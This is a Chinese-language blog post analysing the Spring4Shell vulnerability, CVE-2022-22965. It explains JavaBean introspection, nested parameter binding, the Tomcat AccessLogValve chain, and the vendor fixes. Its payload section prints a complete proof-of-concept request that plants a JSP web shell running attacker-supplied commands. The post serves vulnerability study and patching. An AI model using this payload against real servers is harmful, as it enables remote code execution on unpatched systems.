前言
CVE-2022-22965
成因
spring controller在绑定一个对象作为参数时,会将对象的变量做覆盖,从而使得我们可以覆盖tomcat配置的log位置、名称等,从而任意写入文件。
分析
影响版本:
- Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20
- 使用外置tomcat部署spring项目,且tomcat < 9.0.62
- 使用了对象参数绑定
java beans
JavaBean 是一种特殊的 Java 类,主要用于传递数据信息,这种 Java 类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。
一个简单User类,这就是一个JavaBean
public class User {
private Integer id;
private String userName;
private String password;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
通过get/set方法去调用类私有方法
java内省机制
Java 内省主要使用来对 JavaBean 进行操作的,所以当一个类满足了 JavaBean 的条件,就可以使用内省的方式来获取和操作 JavaBean 中的字段值。
一个 JavaBean 类中的方法,去掉 set 或 get 前缀,剩余部分就是属性名。所有只要有存在get/set方法,那他就会判定你有这样一个属性。
内省提供了操作 JavaBean 的 API。
共有三种方法:
- Introspector 类
- PropertyDescriptor 类
- PropertyEditor 类
这次只说Introspector类,它提供了两个静态方法
// 获取 beanClass 及其所有父类的 BeanInfo
BeanInfo getBeanInfo(Class<?>beanClass)
// 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
我们可以使用 Introspector 的 getBeanInfo(Class<?> beanClass) 来获取一个 JavaBean 类的 BeanInfo 对象。BeanInfo 有三个常用的属性:
// bean 信息
BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
// 属性信息
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
// 方法信息
MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
写个简单程序测试一下
这里输出了User的属性,但还有个class,这个是User类从原型类Object继承而来,所有类都会继承object。而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
那我们直接填写Class.class,这样会查询到原型类Object
出现ClassLoader
Spring MVC参数绑定
SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。一般来讲可以绑定String、Int等类型。本次漏洞中使用的是对象类型的参数绑定。
@RequestMapping("/user")
public String login(User user, Model model) {
model.addAttribute("name",user.getName());
System.out.println(user.getName());
return "user";
}
我们设置一个User的bean,当我们传入?name=xxx时,spring会自动生成一个bean,也就是User对象。
且SpringMVC支持多层嵌套的参数绑定,也就是xxx.xxx的方式进行绑定。
绑定调用如下:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
Tomcat AccessLogValve 和 access_log
tomcat的xml配置:
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
可以从中看到对应类为org.apache.catalina.valves.AccessLogValve
,当然我们可以通过操作bean来修改他的属性,如access_log的名字和存储位置
Payload分析
poc:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}ijava.io.InputStream input=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];while((len = input.read(bytes)) != -1){out.println(new String(bytes,"GBK"));}%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:\Users\user\Desktop\bp\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern
,这一段是利用嵌套机制,调取classloader并继续向下修改类。这个类对应上面所说到的tomcat配置
# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# 设置日志文件的路径为 webapp/path,只有该文件下的 jsp 文件会被解析,本文以 ROOT 为例
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT
利用关键及修复
- Tomcat
需要将项目打包为war包使用tomcat部署,这时可以调用到org.apache.catalina.loader.ParallelWebappClassLoader.getResources
,修改log相关属性。
而SpringBoot使用jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法,所以无法利用。 - JDK版本
spring嵌套修改bean属性的漏洞出自cve-2010-1622,spring在对cve-2010-1622的漏洞修复时将将classloader添加进了黑名单,但是自从JDK 9+开始,JDK引入了模块(Module)的概念,就可以通过module来调用JDK模块下的方法,而module并不在黑名单中,所以能够绕过黑名单,如:class.module.classLoader.xxxx的方式。 - 修复方案
spring 修复方法:
通过对比 Spring 5.3.17 和 5.3.18 的版本,可以看到对CachedIntrospectionResults构造函数中 Java Bean 的PropertyDescriptor的过滤条件被修改了:当 Java Bean 的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。也就是说java.lang.Class.getModule()
无法获取。
tomcat修复方法:
tomcat对getResource()方法的返回值做了修改,直接返回null。
Comments | NOTHING